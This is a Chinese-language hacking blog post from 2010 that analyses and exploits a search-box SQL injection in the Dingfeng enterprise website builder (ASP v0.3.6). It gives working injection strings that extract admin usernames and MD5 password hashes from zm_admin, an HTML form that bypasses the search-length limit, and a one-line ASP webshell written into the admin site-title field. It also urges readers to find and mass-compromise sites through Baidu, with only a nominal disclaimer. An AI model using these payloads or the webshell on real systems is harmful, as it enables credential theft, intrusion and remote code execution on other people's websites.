鼎峰企业智能建站系统注入搜索注入漏洞分析与利用

2010, April 17, 10:47 AM. 漏洞分析
Submitted by admin

作者:莫ㄨ问
版本:鼎峰企业智能建站系统ASP版 V0.3.6
昨天利用这个系统拿了一个webshell,但是是利用下载默认数据库的,后面发现者这套系统界面搞得还不错,就顺便看下它的安全性了。本文就其搜索注入漏洞简单分析和利用,及批量拿shell。
一.  简单分析
漏洞文件:zm_search.asp代码如下

t=Request.Form("t")
key=Request.Form("key")

if t="" or key="" then
  Response.Write("<script>alert('请输入关键词!');history.back();</script>")
  Response.End()
end if

if t=1 then
  sql="select * from Zm_Product where name like '%"&key&"%' order by ord asc,id desc"
  menuname="搜索产品"
else
  sql="select * from Zm_News where title like '%"&key&"%' order by  ord asc,id desc"
  menuname="搜索新闻"
end if


对表单中变量t和key直接获取,只判断是否为空,不为空就带入查询,这就造成了搜索型注入漏洞。
这里照顾下新手:
学习下SQL数据查询中WHERE子句使用Like操作符的知识,Like操作符所起的作用就是模糊查询,要使用Like进行模糊查询必须还要配合通配符才能完成,"%"就是Like操作符中的一种通配符,它代表零个或多个任意字符,为了大家理解,为大家举了一些例子:
Like "黑客%" 返回以黑客开始的任意字符
Like "%黑客" 返回以黑客结尾的任意字符
Like "%黑客%" 返回以包含黑客的任意字符
我们打开一个网站,在搜索框里输入关键字' and 1=1 and '%'='关键字就为"黑帽"吧,点搜索,结果返回与黑帽有关的资料,即语句 黑客' and 1=1 and '%'=',就属于正常,后面在输入语句黑客' and 1=2 and '%'=' 没有找到相关资料。当然这里注意,这个关键字是要能够找到文章的。

二、 漏洞利用
原理知道了,我们构造一下注入语句,这里我们以搜索“鼎峰”这个关键字,鼎峰所有是可以搜索到内容的,记住这里一定要可以搜索到否则后面很难分辨。我们在回到原来的首页搜索输入如下语句:(构造的时候要注意闭合前后%和单引号)
鼎峰%' and 1=1 and '%'='           -----------------语句1
可是无法输入全部代码,看来限制了搜索长度,打开发现最大是20个字符,在看下代码发现它是将search。Asp提交给zm_search.asp处理。这样我们就可以自己写个表单给t和key赋值来突破长度限制。代码就不给了,很简单大家自己写下。把表单action值设置成http://url/search.asp不能提交给zm_search.asp,不清楚的自己去下个代码来看。好了,输入语句1,结果如图1,2:
图1
大小: 17.11 K
尺寸: 296 x 209
浏览: 29 次
点击打开新窗口浏览全图

图2
大小: 66 K
尺寸: 500 x 332
浏览: 37 次
点击打开新窗口浏览全图

在一次改变表单中1=1的内容就可以了猜解出来,这里照顾新手,我列出语句并注释作用:

语句1:鼎峰%' and 1=1 and '%'='        ;1=1返回找到一个,即正常
语句2:鼎峰%' and 1=1 and '%'='        ;1=2显然不成立,找不到任何文章,即返回异常
语句3:鼎峰%' and  1<(select count(*) from zm_admin) and '%'='  ;判断管理员的人数是否大于1
语句4:鼎峰%' and (select count(name) from zm_admin)>0 and '%'=' ;判断是否存在表段name,通过查看数据库我们可以直接知道存在的。
语句5:鼎峰%' and (select top 1 asc(mid(name,1,1)) from zm_admin)>96  and '%'=' ;
功能:判断name表段第一个用户名的name的第一个字符的ascii码是否大于96,即是否等于a

同理可以把语句5的中的name字段换成password字段,同样的方法来才接密码md5散列。
当然这种注入用工具也可以扫描出来,但是需要自己添加字段,另外关键词也自己加一个可以搜索到信息的。这里我推荐NBSI和HDSI这两款工具,很简单这里就不演示了。Ok了
三、  后台拿webshell
注入可以得到管理员的密码,那么进入后台看看默认地址:Manage/login.asp 这里简单利用R()函数过滤掉了单引号,万能密码没戏了。直接用注入拿到管理密码登陆。在网站配置标题直接写入一句话木马,不过这里要注意闭合语句,构造如下:

1"%><%execute(request("cmd"))%><%'

插马成功,如图3:
[localfile=4]

Ok了。百度搜下就可以批量拿webshell了,这里不说大家自己发挥,不要用于非法用途。当然这里系统还有很多问题,有兴趣的朋友可以继续挖掘。
本文到此结束,在此申明本文只作技术交流学习,不得用于非法用途,否则后果自负。
文中难免有错,有疑问的可以联系我www.awolf07.cn或者http://forum.bhst.org
提交的htm表单,比较简单,呵呵..不然有朋友说我忽悠人.

<html>
<form name="form1" method="post" action="http://localhost/search.asp">
  类型:
  <label>
  <input name="t" type="text" id="t" value="1">
  </label>
  <p>
    内容:
      <label>
    <input name="key" type="text" id="key">
    </label>
  </p>
  <p>
    <label>
    <input type="submit" name="Submit" value="提交">
    </label>
  </p>
</form>

图片附件:
大小: 45.45 K
尺寸: 500 x 394
浏览: 38 次
点击打开新窗口浏览全图

Tags: 鼎峰

« 上一篇 | 下一篇 »

Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):